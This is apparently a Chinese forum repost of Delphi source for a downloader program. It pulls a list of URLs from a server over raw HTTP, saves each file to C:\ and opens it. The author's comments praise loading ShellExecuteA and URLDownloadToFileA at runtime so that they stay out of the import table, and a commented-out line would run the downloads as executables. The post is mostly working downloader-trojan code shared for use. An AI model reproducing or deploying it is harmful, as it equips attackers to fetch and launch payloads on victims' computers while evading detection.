| 关键词: nbsp String str pchar begin Integer function result end Procedure |
作者: 小坏 无聊是拼凑了个 继续膜拜女王撒马复制内容到剪贴板代码: //DPR program ForDown; {http://www.lovehuai.cn [email protected]} uses Windows, links, Upip; begin links.Temp:=pchar(getip(getHttpDataByGetMethod('127.0.0.1', 80,'url.txt'))); Down; end. //-------------------------------------links.pas----------------------- unit links; {http://www.lovehuai.cn [email protected]} interface uses Windows; var //动态加载shell32.dll中的ShellExecuteA函数~嘿嘿懒得加载ShellAPI单元了~又减小一点空间~ ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall; //动态加载Urlmon.dll中的UrlDownloadToFileA函数~还有个好处就四IAT中看不见这个函数名称~哈哈~ Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall; hShell,hUrlmon: THandle; var List:Array[0..1024] of String; I:Integer; Temp:string; function IntToStr(Value: Integer): string; function GetSystem32Dir:String; Procedure SplitString(lpData :Pchar; Var fsArray :Array of String); Procedure Download(Downurl,Temp:String); Procedure Down; implementation procedure CvtInt; asm or CL,CL JNZ @CvtLoop @C1: or EAX,EAX JNS @C2 NEG EAX CALL @C2 MOV AL,'-' INC ECX DEC ESI MOV [ESI],AL RET @C2: MOV ECX,10 @CvtLoop: PUSH EDX PUSH ESI @D1: XOR EDX,EDX DIV ECX DEC ESI ADD DL,'0' CMP DL,'0'+10 JB @D2 ADD DL,('A'-'0')-10 @D2: MOV [ESI],DL or EAX,EAX JNE @D1 POP ECX POP EDX SUB ECX,ESI SUB EDX,ECX JBE @D5 ADD ECX,EDX MOV AL,'0' SUB ESI,EDX JMP @z @zloop: MOV [ESI+EDX],AL @z: DEC EDX JNZ @zloop MOV [ESI],AL @D5: end; function IntToStr(Value: Integer): string; asm PUSH ESI MOV ESI, ESP SUB ESP, 16 XOR ECX, ECX // base: 0 for signed decimal PUSH EDX // result ptr XOR EDX, EDX // zero filled field width: 0 for no leading zeros CALL CvtInt MOV EDX, ESI POP EAX // result ptr CALL System.@LStrFromPCharLen ADD ESP, 16 POP ESI end; function GetSystem32Dir:String; var sTmp:Array [0..255] of Char; begin GetSystemDirectory(sTmp,255); Result:=string(sTmp)+'\'; end; Procedure SplitString(lpData :Pchar; Var fsArray :Array of String); Var WordCount :Integer; WordPos :Integer; begin WordPos := 0; WordCount := 0; Fillchar(fsArray,SizeOf(fsArray),#0); while lpData^ <> #0 do begin case lpData^ of '|' : begin Inc(WordCount); WordPos:=0; end; else Inc(WordPos); SetLength(fsArray[WordCount],WordPos); fsArray[WordCount][WordPos]:= lpData^; end; Inc(lpData); end; end; Procedure Download(Downurl,Temp:String); //下载过程 begin LoadLibrary('kernel32.dll'); LoadLibrary('user32.dll'); hShell:=LoadLibrary('Shell32.dll'); hUrlmon:=LoadLibrary('urlmon.dll'); @ShellRun:= GetProcAddress(hShell,'ShellExecuteA'); @Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA'); if Downfile(nil,PChar(Downurl),PChar('c:\'+ Temp + '.txt'), 0, nil)= S_OK then begin // ShellRun(0,'open',PChar ('NOTEPAD.EXE '+ 'c:\'+ PChar(Temp) + '.exe'),nil,nil,5); WinExec(PChar ('NOTEPAD.EXE '+ 'c:\'+ (Temp) + '.txt'),SW_SHOW); end else ExitProcess(0); end; procedure Down; //下载过程 begin SplitString(PChar(Temp),List); for I:=0 to 1024 do begin Download(PChar(List[I]),PChar(Inttostr(I))); end; end; end. //--------------------------------------------------------udip.pas----------- unit Upip; {http://www.lovehuai.cn [email protected]} interface uses Windows, winsock; function GetIp(data :string): string; function getHttpDataByGetMethod(Server:String;Port:integer;Url:String):String; implementation function Inttostr(const Int: integer): string; var d, m: integer; A:boolean; begin if Int=0 then begin result:='0'; exit; end; result:=''; A:= int >= 0; if A then m := int else m := -int; result:=''; while m <> 0 do begin d := m mod 10; m := m div 10; Result := chr(d + 48) + Result; end; if not A then Result:='-'+Result; end; function getHttpDataByGetMethod(Server:String;Port:integer;Url:String):String; //通过GET 得到URL的返回值 var len,s:integer; name:sockaddr_in; he:PHostEnt; buf:array[0..1023]of char; str,data:string; wsd:WSADATA; begin WSAStartup($101,wsd); s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); he:=gethostbyname(PChar(Server)); FillChar(name,sizeof(name),0); name.sin_family:=AF_INET; name.sin_port:=htons(Port); name.sin_addr.S_addr:=PDWORD(PDWORD(he.h_addr)^)^; connect(s,name,sizeof(name)); str := 'GET /'+ Url +' HTTP/1.1'#13#10; str := str + 'Referer: http://' + Server; str := str + ':' + IntToStr(Port); str := str + '/' + Url + #13#10; str := str + 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)'#13#10; str := str + 'Host: ' + Server; str := str + ':' + IntToStr(Port); str := str + ''#13#10; str := str + 'Connection: Close'#13#10; str := str + 'Cache-Control: no-cache'#13#10; str := str + #13#10; send(s,PChar(str)^,Length(str),0); while true do begin len:=recv(s,buf,sizeof(buf),0); if len<1 then break; SetString(str,buf,len); data:=data+str; end; closesocket(s); WSACleanup(); Result := data; end; function StrToIntDef(const S: string; Default: Integer): Integer; var E: Integer; begin Val(S, Result, E); if E <> 0 then Result := Default; end; //分析上面GET函数得到的数据,剥离出IP地址出来 function GetIp(data :string): string; var i: integer; begin i := pos(#13#10#13#10,Data); if i>0 then result:= Copy(Data, i+4, Length(Data)-i+4+1); end; end. |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|